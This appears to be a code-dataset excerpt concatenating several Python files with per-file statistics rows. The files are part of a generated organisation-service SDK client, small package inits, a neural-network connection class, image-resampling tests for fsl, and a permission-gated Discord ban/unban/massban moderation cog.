# type: (user_service_sdk.api.organization.enable_org_pb2.EnableOrgRequest, int, str, int) -> google.protobuf.empty_pb2.Empty
"""
启用Org[内部]
:param request: enable_org请求
:param org: 客户的org编号，为数字
:param user: 调用api使用的用户名
:param timeout: 调用超时时间，单位秒
:return: google.protobuf.empty_pb2.Empty
"""
headers = {"org": org, "user": user}
route_name = ""
server_ip = self._server_ip
if self._service_name != "":
route_name = self._service_name
elif self._server_ip != "":
route_name = "easyops.api.user_service.organization.EnableOrg"
uri = "/api/v1/org/{id}/enable".format(
id=request.id,
)
requestParam = request
rsp_obj = user_service_sdk.utils.http_util.do_api_request(
method="PUT",
src_name="logic.user_service_sdk",
dst_name=route_name,
server_ip=server_ip,
server_port=self._server_port,
host=self._host,
uri=uri,
params=google.protobuf.json_format.MessageToDict(
requestParam, preserving_proto_field_name=True),
headers=headers,
timeout=timeout,
)
rsp = google.protobuf.empty_pb2.Empty()
google.protobuf.json_format.ParseDict(rsp_obj, rsp, ignore_unknown_fields=True)
return rsp
def list_org(self, request, org, user, timeout=10):
# type: (google.protobuf.empty_pb2.Empty, int, str, int) -> user_service_sdk.api.organization.list_org_pb2.ListOrgResponse
"""
获取所有Org[内部]
:param request: list_org请求
:param org: 客户的org编号，为数字
:param user: 调用api使用的用户名
:param timeout: 调用超时时间，单位秒
:return: user_service_sdk.api.organization.list_org_pb2.ListOrgResponse
"""
headers = {"org": org, "user": user}
route_name = ""
server_ip = self._server_ip
if self._service_name != "":
route_name = self._service_name
elif self._server_ip != "":
route_name = "easyops.api.user_service.organization.ListOrg"
uri = "/api/v1/org/list"
requestParam = request
rsp_obj = user_service_sdk.utils.http_util.do_api_request(
method="GET",
src_name="logic.user_service_sdk",
dst_name=route_name,
server_ip=server_ip,
server_port=self._server_port,
host=self._host,
uri=uri,
params=google.protobuf.json_format.MessageToDict(
requestParam, preserving_proto_field_name=True),
headers=headers,
timeout=timeout,
)
rsp = user_service_sdk.api.organization.list_org_pb2.ListOrgResponse()
google.protobuf.json_format.ParseDict(rsp_obj, rsp, ignore_unknown_fields=True)
return rsp
def set_org_expired_date(self, request, org, user, timeout=10):
# type: (user_service_sdk.api.organization.set_org_expires_pb2.SetOrgExpiredDateRequest, int, str, int) -> google.protobuf.empty_pb2.Empty
"""
设置Org过期日期[内部]
:param request: set_org_expired_date请求
:param org: 客户的org编号，为数字
:param user: 调用api使用的用户名
:param timeout: 调用超时时间，单位秒
:return: google.protobuf.empty_pb2.Empty
"""
headers = {"org": org, "user": user}
route_name = ""
server_ip = self._server_ip
if self._service_name != "":
route_name = self._service_name
elif self._server_ip != "":
route_name = "easyops.api.user_service.organization.SetOrgExpiredDate"
uri = "/api/v1/org/{id}/_expired_date".format(
id=request.id,
)
requestParam = request
rsp_obj = user_service_sdk.utils.http_util.do_api_request(
method="PUT",
src_name="logic.user_service_sdk",
dst_name=route_name,
server_ip=server_ip,
server_port=self._server_port,
host=self._host,
uri=uri,
params=google.protobuf.json_format.MessageToDict(
requestParam, preserving_proto_field_name=True),
headers=headers,
timeout=timeout,
)
rsp = google.protobuf.empty_pb2.Empty()
google.protobuf.json_format.ParseDict(rsp_obj, rsp, ignore_unknown_fields=True)
return rsp
| 36.81405 | 168 | 0.617578 | 1,010 | 8,909 | 5.134653 | 0.122772 | 0.065754 | 0.070189 | 0.049171 | 0.829348 | 0.815465 | 0.800617 | 0.791361 | 0.711145 | 0.656961 | 0 | 0.007074 | 0.286003 | 8,909 | 241 | 169 | 36.966805 | 0.808206 | 0.205523 | 0 | 0.701299 | 0 | 0 | 0.080275 | 0.068039 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038961 | false | 0 | 0.064935 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
1190f9821e555ceea89a21a604ea287b4cb4781b | 247 | py | Python | pyderl/utils/__init__.py | Talendar/pyderl | 17b8d291f80abfccfe20e131a2859f540fbd1ad8 | [
"MIT"
] | null | null | null | pyderl/utils/__init__.py | Talendar/pyderl | 17b8d291f80abfccfe20e131a2859f540fbd1ad8 | [
"MIT"
] | null | null | null | pyderl/utils/__init__.py | Talendar/pyderl | 17b8d291f80abfccfe20e131a2859f540fbd1ad8 | [
"MIT"
] | null | null | null | """
TODO
"""
from pyderl.utils import data_structures
from pyderl.utils import gym_wrappers
from pyderl.utils.linear_interpolator import LinearInterpolator
from pyderl.utils.utils import visualize_agent
from pyderl.utils.utils import compute_eta
| 24.7 | 63 | 0.846154 | 34 | 247 | 6 | 0.470588 | 0.245098 | 0.367647 | 0.205882 | 0.254902 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097166 | 247 | 9 | 64 | 27.444444 | 0.914798 | 0.016194 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
11f4a878b3fe39c95bc0307b49a4a56c7156343a | 223 | py | Python | app/ai/connection.py | ErikSkare/Flappy-ai | 95fd1773fc167845da981cd5b6c6b0d481ccabc0 | [
"MIT"
] | 1 | 2021-07-22T22:41:11.000Z | 2021-07-22T22:41:11.000Z | app/ai/connection.py | ErikSkare/Flappy-ai | 95fd1773fc167845da981cd5b6c6b0d481ccabc0 | [
"MIT"
] | null | null | null | app/ai/connection.py | ErikSkare/Flappy-ai | 95fd1773fc167845da981cd5b6c6b0d481ccabc0 | [
"MIT"
] | null | null | null | class Connection(object):
def __init__(self, from_neuron, weight):
self.from_neuron = from_neuron
self.weight = weight
def evaluate(self):
return self.from_neuron.get_value() * self.weight
| 24.777778 | 57 | 0.672646 | 28 | 223 | 5.035714 | 0.464286 | 0.283688 | 0.297872 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.233184 | 223 | 8 | 58 | 27.875 | 0.824561 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.166667 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
e12bfeaeb41e225d35962f0246366a0be550cd7d | 47 | py | Python | utils/__init__.py | liveseongho/DramaQA | 09470a8c29dcdbcef077fcddfc9f0bb8331f5da4 | [
"MIT"
] | 6 | 2020-10-07T05:18:54.000Z | 2022-01-14T05:04:08.000Z | utils/__init__.py | liveseongho/DramaQA | 09470a8c29dcdbcef077fcddfc9f0bb8331f5da4 | [
"MIT"
] | 2 | 2021-02-28T08:56:18.000Z | 2021-11-17T08:09:36.000Z | utils/__init__.py | liveseongho/DramaQA | 09470a8c29dcdbcef077fcddfc9f0bb8331f5da4 | [
"MIT"
] | 4 | 2020-10-12T04:34:07.000Z | 2021-09-25T02:37:55.000Z | from .util import *
from .util_custom import *
| 15.666667 | 26 | 0.744681 | 7 | 47 | 4.857143 | 0.571429 | 0.470588 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.170213 | 47 | 2 | 27 | 23.5 | 0.871795 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
01063067d0836359999ec205b7e23a3d7dbcb518 | 5,265 | py | Python | tests/test_scripts/test_resample_image.py | physimals/fslpy | 10dd3f996c79d402c65cf0af724b8b00082d5176 | [
"Apache-2.0"
] | 6 | 2018-04-18T03:42:50.000Z | 2021-11-20T18:46:37.000Z | tests/test_scripts/test_resample_image.py | physimals/fslpy | 10dd3f996c79d402c65cf0af724b8b00082d5176 | [
"Apache-2.0"
] | 13 | 2018-10-01T11:45:05.000Z | 2022-03-16T12:28:36.000Z | tests/test_scripts/test_resample_image.py | physimals/fslpy | 10dd3f996c79d402c65cf0af724b8b00082d5176 | [
"Apache-2.0"
] | 5 | 2017-12-09T09:02:17.000Z | 2021-11-15T16:55:30.000Z | #!/usr/bin/env python
import numpy as np
import pytest
import fsl.scripts.resample_image as resample_image
import fsl.transform.affine as affine
from fsl.utils.tempdir import tempdir
from fsl.data.image import Image
from .. import make_random_image
def test_resample_image_shape():
with tempdir():
img = Image(make_random_image('image.nii.gz', dims=(10, 10, 10)))
resample_image.main('image resampled -s 20,20,20'.split())
res = Image('resampled')
expv2w = affine.concat(
img.voxToWorldMat,
affine.scaleOffsetXform([0.5, 0.5, 0.5], 0))
assert np.all(np.isclose(res.shape, (20, 20, 20)))
assert np.all(np.isclose(res.pixdim, (0.5, 0.5, 0.5)))
assert np.all(np.isclose(res.voxToWorldMat, expv2w))
assert np.all(np.isclose(
np.array(affine.axisBounds(res.shape, res.voxToWorldMat)) - 0.25,
affine.axisBounds(img.shape, img.voxToWorldMat)))
resample_image.main('image resampled -s 20,20,20 -o corner'.split())
res = Image('resampled')
assert np.all(np.isclose(
affine.axisBounds(res.shape, res.voxToWorldMat),
affine.axisBounds(img.shape, img.voxToWorldMat)))
def test_resample_image_shape_4D():
with tempdir():
# Can specify three dims
img = Image(make_random_image('image.nii.gz', dims=(10, 10, 10, 10)))
resample_image.main('image resampled -s 20,20,20'.split())
res = Image('resampled')
assert np.all(np.isclose(res.shape, (20, 20, 20, 10)))
assert np.all(np.isclose(res.pixdim, (0.5, 0.5, 0.5, 1)))
# Or resample along the higher dims
resample_image.main('image resampled -s 20,20,20,20'.split())
res = Image('resampled')
assert np.all(np.isclose(res.shape, (20, 20, 20, 20)))
assert np.all(np.isclose(res.pixdim, (0.5, 0.5, 0.5, 0.5)))
def test_resample_image_dim():
with tempdir():
img = Image(make_random_image('image.nii.gz', dims=(10, 10, 10)))
resample_image.main('image resampled -d 0.5,0.5,0.5'.split())
res = Image('resampled')
expv2w = affine.concat(
img.voxToWorldMat,
affine.scaleOffsetXform([0.5, 0.5, 0.5], 0))
assert np.all(np.isclose(res.shape, (20, 20, 20)))
assert np.all(np.isclose(res.pixdim, (0.5, 0.5, 0.5)))
assert np.all(np.isclose(res.voxToWorldMat, expv2w))
def test_resample_image_ref():
with tempdir():
img = Image(make_random_image('image.nii.gz', dims=(10, 10, 10)))
ref = Image(make_random_image('ref.nii.gz', dims=(20, 20, 20),
pixdims=(0.5, 0.5, 0.5)))
resample_image.main('image resampled -r ref'.split())
res = Image('resampled')
expv2w = ref.voxToWorldMat
assert np.all(np.isclose(res.shape, (20, 20, 20)))
assert np.all(np.isclose(res.pixdim, (0.5, 0.5, 0.5)))
assert np.all(np.isclose(res.voxToWorldMat, expv2w))
# 3D / 4D
img = Image(make_random_image('image.nii.gz', dims=(10, 10, 10)))
ref = Image(make_random_image('ref.nii.gz', dims=(20, 20, 20, 20),
pixdims=(0.5, 0.5, 0.5, 1)))
resample_image.main('image resampled -r ref'.split())
res = Image('resampled')
assert np.all(np.isclose(res.shape, (20, 20, 20)))
assert np.all(np.isclose(res.pixdim, (0.5, 0.5, 0.5)))
# 4D / 3D
img = Image(make_random_image('image.nii.gz', dims=(10, 10, 10, 10)))
ref = Image(make_random_image('ref.nii.gz', dims=(20, 20, 20),
pixdims=(0.5, 0.5, 0.5)))
resample_image.main('image resampled -r ref'.split())
res = Image('resampled')
assert np.all(np.isclose(res.shape, (20, 20, 20, 10)))
assert np.all(np.isclose(res.pixdim, (0.5, 0.5, 0.5, 1)))
# 4D / 4D - no resampling along fourth dim
img = Image(make_random_image('image.nii.gz', dims=(10, 10, 10, 10)))
ref = Image(make_random_image('ref.nii.gz', dims=(20, 20, 20, 20),
pixdims=(0.5, 0.5, 0.5, 1)))
resample_image.main('image resampled -r ref'.split())
res = Image('resampled')
assert np.all(np.isclose(res.shape, (20, 20, 20, 10)))
assert np.all(np.isclose(res.pixdim, (0.5, 0.5, 0.5, 1)))
def test_resample_image_bad_options():
with tempdir():
img = Image(make_random_image('image.nii.gz', dims=(10, 10, 10)))
# No args - should print help and exit(0)
with pytest.raises(SystemExit) as e:
resample_image.main([])
assert e.value.code == 0
with pytest.raises(SystemExit) as e:
resample_image.main('image resampled -d 0.5,0.5,0.5 '
'-s 20,20,20'.split())
assert e.value.code != 0
with pytest.raises(SystemExit) as e:
resample_image.main('image resampled -s 20,20'.split())
assert e.value.code != 0
with pytest.raises(SystemExit) as e:
resample_image.main('image resampled -s 20,20,20,20'.split())
assert e.value.code != 0
| 36.5625 | 77 | 0.579677 | 771 | 5,265 | 3.883268 | 0.106355 | 0.032732 | 0.03507 | 0.044088 | 0.854041 | 0.828323 | 0.774549 | 0.774215 | 0.774215 | 0.741149 | 0 | 0.079381 | 0.263058 | 5,265 | 143 | 78 | 36.818182 | 0.692268 | 0.033048 | 0 | 0.75 | 0 | 0 | 0.108576 | 0 | 0 | 0 | 0 | 0 | 0.260417 | 1 | 0.052083 | false | 0 | 0.072917 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
012f9c4e0475670173005f8acdb0cec0b32ff9dc | 25,338 | py | Python | sweeperbot/cogs/modtools/ban.py | glanyx/segachan | b7694cc44e7ac0a261d8f3412347c50b8026fd6f | [
"MIT"
] | null | null | null | sweeperbot/cogs/modtools/ban.py | glanyx/segachan | b7694cc44e7ac0a261d8f3412347c50b8026fd6f | [
"MIT"
] | null | null | null | sweeperbot/cogs/modtools/ban.py | glanyx/segachan | b7694cc44e7ac0a261d8f3412347c50b8026fd6f | [
"MIT"
] | null | null | null | import sys
import typing
from datetime import datetime
import discord
from discord.ext import commands
from sqlalchemy.exc import DBAPIError
from sweeperbot.cogs.utils.paginator import FieldPages
from sweeperbot.utilities.helpers import has_guild_permissions
class Ban(commands.Cog):
def __init__(self, bot):
self.bot = bot
@commands.command(aliases=["b"])
@commands.guild_only()
@has_guild_permissions(ban_members=True)
@commands.bot_has_permissions(ban_members=True)
async def ban(
self, ctx, user_id: str, days: typing.Optional[int] = 0, *, action_text: str
):
"""Adds a database record for the user, attempts to message the user about the ban, then bans from the guild.
You can supply an optional number of days of messages to delete, up to 7 days. Default being 0.
Example:
ban userID 1 this is a test message
ban @wumpus#0000 this is a test message
b @wumpus#0000 7 this is a test message
Requires Permission: Ban Members
Parameters
-----------
ctx: context
The context message involved.
user_id: str
The user/member the action is related to. Can be an ID or a mention
days: typing.Optional[int]
The number of days of prior messages to delete from the user. Default 0.
action_text: str
The action text you are adding to the record.
"""
session = self.bot.helpers.get_db_session()
try:
self.bot.log.info(
f"CMD {ctx.command} called by {ctx.message.author} ({ctx.message.author.id})"
)
# Get the user profile
user = await self.bot.helpers.get_member_or_user(user_id, ctx.message.guild)
if not user:
return await ctx.send(
f"Unable to find the requested user. Please make sure the user ID or @ mention is valid."
)
# Don't allow you to action yourself or the guild owner, or itself, or other bots.
if user.id in [
ctx.message.author.id,
ctx.message.guild.owner.id,
self.bot.user.id,
]:
return await ctx.send(
f"Sorry, but you are not allowed to do that action to that user."
)
# Cancel if the user is already banned
found_ban = False
all_bans = await ctx.message.guild.bans()
for ban_entry in all_bans:
if user.id == ban_entry.user.id:
found_ban = True
break
if found_ban:
return await ctx.send(
f"Unable to proceed, **{user}** ({user.id}) is already banned."
)
# Set some meta data
action_type = "Ban"
guild = ctx.message.guild
settings = self.bot.guild_settings.get(guild.id)
modmail_enabled = settings.modmail_server_id
appeals_invite = settings.appeals_invite_code
db_logged = False
if days > 7:
days = 7
# Send the users history so mod team can make best decision
(
embed_result_entries,
footer_text,
) = await self.bot.helpers.get_action_history(session, user, guild)
p = FieldPages(ctx, per_page=8, entries=embed_result_entries)
p.embed.color = 0xE50000
p.embed.set_author(
name=f"Member: {user} ({user.id})", icon_url=user.avatar_url,
)
p.embed.set_footer(text=footer_text)
await p.paginate()
# Confirm the action
confirm = await self.bot.prompt.send(
ctx, f"Are you sure you want to ban {user} ({user.id})?"
)
if confirm is False or None:
return await ctx.send("Aborting action on that user.")
elif confirm:
# Try to message the user
try:
# Format the message
message = self.bot.constants.infraction_header.format(
action_type=action_type.lower(), guild=guild
)
# Reduces the text to 1,800 characters to leave enough buffer for header and footer text
message += f"'{action_text[:1800]}'"
# Set footer based on if the server has modmail or not
if modmail_enabled:
message += self.bot.constants.footer_with_modmail.format(
guild=guild
)
else:
message += self.bot.constants.footer_no_modmail.format(
guild=guild
)
if appeals_invite:
message += self.bot.constants.footer_appeals_server.format(
appeals_invite=appeals_invite
)
await user.send(message)
user_informed = f"User was successfully informed of their {action_type.lower()}."
msg_success = True
except discord.errors.Forbidden as err:
self.bot.log.warning(
f"Error sending {action_type.lower()} to user. Bot is either blocked by user or doesn't share a server. Error: {sys.exc_info()[0].__name__}: {err}"
)
user_informed = f"User was unable to be informed of their {action_type.lower()}. They might not share a server with the bot, their DM's might not allow messages, or they blocked the bot."
msg_success = False
# Try and log to the database and logs channel
try:
# Log the action to the database and logs channel
# Edit the action_text to indicate success or failure on informing the user.
if msg_success:
action_text += " | **Msg Delivered: Yes**"
else:
action_text += " | **Msg Delivered: No**"
db_logged, chan_logged = await self.bot.helpers.process_ban(
session,
user,
ctx.message.author,
guild,
datetime.utcnow(),
action_text,
)
except Exception as err:
self.bot.log.exception(f"Error logging {action_type} to database.")
# Now that we've handled messaging the user, let's handle the action
try:
reason_text = f"Mod: {ctx.message.author} ({ctx.message.author.id}) | Reason: {action_text[:400]}"
await guild.ban(user, reason=reason_text, delete_message_days=days)
if db_logged:
response = f"A {action_type.lower()} was successfully logged and actioned for: {user} ({user.id}).\n\n{user_informed}"
else:
response = f"A {action_type.lower()} was unable to be logged, however it was successfully actioned for: {user} ({user.id}).\n\n{user_informed}"
await ctx.send(response)
except Exception as err:
self.bot.log.warning(
f"Failed to {action_type.lower()} user. Error: {sys.exc_info()[0].__name__}: {err}"
)
await ctx.send(
f"Successfully logged a {action_type.lower()} for: {user} ({user.id}), however **unable to {action_type.lower()} them.**\n\n{user_informed}"
)
except discord.HTTPException as err:
self.bot.log.error(
f"Discord HTTP Error responding to {ctx.command} request via Msg ID {ctx.message.id}. {sys.exc_info()[0].__name__}: {err}"
)
await ctx.send(
f"Error processing {ctx.command}. Error has already been reported to my developers."
)
except DBAPIError as err:
self.bot.log.exception(
f"Error processing database query for: ({user_id}). {sys.exc_info()[0].__name__}: {err}"
)
await ctx.send(
f"Error processing {ctx.command}. Error has already been reported to my developers."
)
session.rollback()
except Exception as err:
self.bot.log.exception(
f"Error responding to {ctx.command} via Msg ID {ctx.message.id}. {sys.exc_info()[0].__name__}: {err}"
)
await ctx.send(
f"Error processing {ctx.command}. Error has already been reported to my developers."
)
finally:
session.close()
@commands.command(aliases=["ub"])
@commands.guild_only()
@has_guild_permissions(ban_members=True)
@commands.bot_has_permissions(ban_members=True)
async def unban(self, ctx, user_id: str, *, action_text: str):
"""Adds a database record for the user, attempts to message the user about the removal of ban, then unbans from the guild.
Example:
unban userID this is a test message
unban @wumpus#0000 this is a test message
ub @wumpus#0000 this is a test message
Requires Permission: Ban Members
Parameters
-----------
ctx: context
The context message involved.
user_id: str
The user/member the action is related to. Can be an ID or a mention
action_text: str
The action text you are adding to the record.
"""
session = self.bot.helpers.get_db_session()
try:
self.bot.log.info(
f"CMD {ctx.command} called by {ctx.message.author} ({ctx.message.author.id})"
)
# Get the user profile
user = await self.bot.helpers.get_member_or_user(user_id, ctx.message.guild)
if not user:
return await ctx.send(
f"Unable to find the requested user. Please make sure the user ID or @ mention is valid."
)
# Don't allow you to action yourself or the guild owner, or itself.
if user.id in [
ctx.message.author.id,
ctx.message.guild.owner.id,
self.bot.user.id,
]:
return await ctx.send(
f"Sorry, but you are not allowed to do that action to that user."
)
# Cancel if the user is not banned
found_ban = False
all_bans = await ctx.message.guild.bans()
for ban_entry in all_bans:
if user.id == ban_entry.user.id:
found_ban = True
break
if not found_ban:
return await ctx.send(
f"Unable to proceed, **{user}** ({user.id}) is not banned."
)
# Set some meta data
action_type = "Unban"
guild = ctx.message.guild
settings = self.bot.guild_settings.get(guild.id)
modmail_enabled = settings.modmail_server_id
# Send the users history so mod team can make best decision
(
embed_result_entries,
footer_text,
) = await self.bot.helpers.get_action_history(session, user, guild)
p = FieldPages(ctx, per_page=8, entries=embed_result_entries)
p.embed.color = 0xBDBDBD
p.embed.set_author(
name=f"Member: {user} ({user.id})", icon_url=user.avatar_url,
)
p.embed.set_footer(text=footer_text)
await p.paginate()
# Confirm the action
confirm = await self.bot.prompt.send(
ctx, f"Are you sure you want to unban {user} ({user.id})?"
)
if confirm is False or None:
return await ctx.send("Aborting action on that user.")
elif confirm:
# Try to message the user
try:
# Format the message
message = self.bot.constants.infraction_header.format(
action_type=action_type.lower(), guild=guild
)
# Reduces the text to 1,800 characters to leave enough buffer for header and footer text
message += f"'{action_text[:1800]}'"
# Set footer based on if the server has modmail or not
if modmail_enabled:
message += self.bot.constants.footer_with_modmail.format(
guild=guild
)
else:
message += self.bot.constants.footer_no_modmail.format(
guild=guild
)
await user.send(message)
user_informed = f"User was successfully informed of their {action_type.lower()}."
msg_success = True
except discord.errors.Forbidden as err:
self.bot.log.warning(
f"Error sending {action_type.lower()} to user. Bot is either blocked by user or doesn't share a server. Error: {sys.exc_info()[0].__name__}: {err}"
)
user_informed = f"User was unable to be informed of their {action_type.lower()}. They might not share a server with the bot, their DM's might not allow messages, or they blocked the bot."
msg_success = False
# Try and log to the database as a note
# Edit the action_text to indicate success or failure on informing the user.
if msg_success:
action_text += " | **Msg Delivered: Yes**"
else:
action_text += " | **Msg Delivered: No**"
db_logged, chan_logged = await self.bot.helpers.process_unban(
session,
user,
ctx.message.author,
guild,
datetime.utcnow(),
action_text,
)
# Now that we've handled messaging the user, let's handle the action
try:
reason_text = f"Mod: {ctx.message.author} ({ctx.message.author.id}) | Reason: {action_text[:400]}"
await guild.unban(user, reason=reason_text)
if db_logged:
response = f"An {action_type.lower()} was successfully logged and actioned for: {user} ({user.id}).\n\n{user_informed}"
else:
response = f"An {action_type.lower()} was unable to be logged, however it was successfully actioned for: {user} ({user.id}).\n\n{user_informed}"
await ctx.send(response)
except Exception as err:
self.bot.log.warning(
f"Failed to {action_type.lower()} user. Error: {sys.exc_info()[0].__name__}: {err}"
)
await ctx.send(
f"Successfully logged an {action_type.lower()} for: {user} ({user.id}), however **unable to {action_type.lower()} them.**\n\n{user_informed}"
)
except discord.HTTPException as err:
self.bot.log.error(
f"Discord HTTP Error responding to {ctx.command} request via Msg ID {ctx.message.id}. {sys.exc_info()[0].__name__}: {err}"
)
await ctx.send(
f"Error processing {ctx.command}. Error has already been reported to my developers."
)
except DBAPIError as err:
self.bot.log.exception(
f"Error processing database query for: ({user_id}). {sys.exc_info()[0].__name__}: {err}"
)
await ctx.send(
f"Error processing {ctx.command}. Error has already been reported to my developers."
)
session.rollback()
except Exception as err:
self.bot.log.exception(
f"Error responding to {ctx.command} via Msg ID {ctx.message.id}. {sys.exc_info()[0].__name__}: {err}"
)
await ctx.send(
f"Error processing {ctx.command}. Error has already been reported to my developers."
)
finally:
session.close()
@commands.command(aliases=["mb", "mban"])
@commands.guild_only()
@has_guild_permissions(ban_members=True)
@commands.bot_has_permissions(ban_members=True)
async def massban(self, ctx, user_ids: str, *, action_text: str):
"""Performs the following actions for multiple users. This is 'Mass Ban' intended for cleaning up raids. There is no confirmation prior to the ban executing.
Adds a database record for the user, attempts to message the user about the ban, then bans from the guild.
A default of 1 days of messages will be deleted.
User IDs are separated by a comma only.
Example:
mban userID,userID2,userID3,userID4,userID5 raiding the server
massban userID,userID2,userID3 this is a test message
Requires Permission: Ban Members
Parameters
-----------
ctx: context
The context message involved.
user_ids: str
List of user IDs to ban, separated by a comma only
action_text: str
The action text you are adding to the record.
"""
session = self.bot.helpers.get_db_session()
try:
self.bot.log.info(
f"CMD {ctx.command} called by {ctx.message.author} ({ctx.message.author.id})"
)
# Set some meta data
action_type = "Ban"
guild = ctx.message.guild
settings = self.bot.guild_settings.get(guild.id)
modmail_enabled = settings.modmail_server_id
appeals_invite = settings.appeals_invite_code
# Split the string to a list of IDs
all_user_ids = user_ids.split(",")
# Get the user profile
for user_id in all_user_ids:
user = await self.bot.helpers.get_member_or_user(
user_id, ctx.message.guild
)
if not user:
await ctx.send(
f"Unable to find the requested user: {user_id}. Please make sure the user ID is valid."
)
continue
# Don't allow you to action yourself or the guild owner, or itself.
if user.id in [
ctx.message.author.id,
ctx.message.guild.owner.id,
self.bot.user.id,
]:
await ctx.send(
f"Sorry, but you are not allowed to do that action to that user: {user_id}."
)
continue
# Cancel if the user is already banned
found_ban = False
all_bans = await ctx.message.guild.bans()
for ban_entry in all_bans:
if user.id == ban_entry.user.id:
found_ban = True
break
if found_ban:
await ctx.send(
f"Skipping ban on **{user}** ({user.id}), they are already banned."
)
continue
# Set some meta info
db_logged = False
# Try to message the user
try:
# Format the message
message = self.bot.constants.infraction_header.format(
action_type=action_type.lower(), guild=guild
)
# Reduces the text to 1,800 characters to leave enough buffer for header and footer text
message += f"'{action_text[:1800]}'"
# Set footer based on if the server has modmail or not
if modmail_enabled:
message += self.bot.constants.footer_with_modmail.format(
guild=guild
)
else:
message += self.bot.constants.footer_no_modmail.format(
guild=guild
)
if appeals_invite:
message += self.bot.constants.footer_appeals_server.format(
appeals_invite=appeals_invite
)
await user.send(message)
user_informed = f"User was successfully informed of their {action_type.lower()}."
msg_success = True
except discord.errors.Forbidden as err:
self.bot.log.warning(
f"Error sending {action_type.lower()} to user. Bot is either blocked by user or doesn't share a server. Error: {sys.exc_info()[0].__name__}: {err}"
)
user_informed = f"User was unable to be informed of their {action_type.lower()}. They might not share a server with the bot, their DM's might not allow messages, or they blocked the bot."
msg_success = False
# Try and log to the database and logs channel
try:
# Log the action to the database and logs channel
# Edit the action_text to indicate success or failure on informing the user.
if msg_success:
action_text += " | **Msg Delivered: Yes**"
else:
action_text += " | **Msg Delivered: No**"
db_logged, chan_logged = await self.bot.helpers.process_ban(
session,
user,
ctx.message.author,
guild,
datetime.utcnow(),
action_text,
)
except Exception as err:
self.bot.log.exception(
f"Error logging {action_type} to database. Error: {sys.exc_info()[0].__name__}: {err}"
)
# Now that we've handled messaging the user, let's handle the action
try:
reason_text = f"Mod: {ctx.message.author} ({ctx.message.author.id}) | Reason: {action_text[:400]}"
await guild.ban(user, reason=reason_text, delete_message_days=1)
if db_logged:
response = f"A {action_type.lower()} was successfully logged and actioned for: {user} ({user.id}).\n\n{user_informed}"
else:
response = f"A {action_type.lower()} was unable to be logged, however it was successfully actioned for: {user} ({user.id}).\n\n{user_informed}"
await ctx.send(response)
except Exception as err:
self.bot.log.warning(
f"Failed to {action_type.lower()} user. Error: {sys.exc_info()[0].__name__}: {err}"
)
await ctx.send(
f"Successfully logged a {action_type.lower()} for: {user} ({user.id}), however **unable to {action_type.lower()} them.**\n\n{user_informed}"
)
except discord.HTTPException as err:
self.bot.log.error(
f"Discord HTTP Error responding to {ctx.command} request via Msg ID {ctx.message.id}. {sys.exc_info()[0].__name__}: {err}"
)
await ctx.send(
f"Error processing {ctx.command}. Not all bans may have been processed or logged to the database. Please validate and try any remaining. Error has already been reported to my developers."
)
except DBAPIError as err:
self.bot.log.exception(
f"Error processing database query for {ctx.command}. {sys.exc_info()[0].__name__}: {err}"
)
await ctx.send(
f"Error processing {ctx.command}. Not all bans may have been processed or logged to the database. Please validate and try any remaining. Error has already been reported to my developers."
)
session.rollback()
except Exception as err:
self.bot.log.exception(
f"Error responding to {ctx.command} via Msg ID {ctx.message.id}. {sys.exc_info()[0].__name__}: {err}"
)
await ctx.send(
f"Error processing {ctx.command}. Error has already been reported to my developers."
)
finally:
session.close()
def setup(bot):
bot.add_cog(Ban(bot))
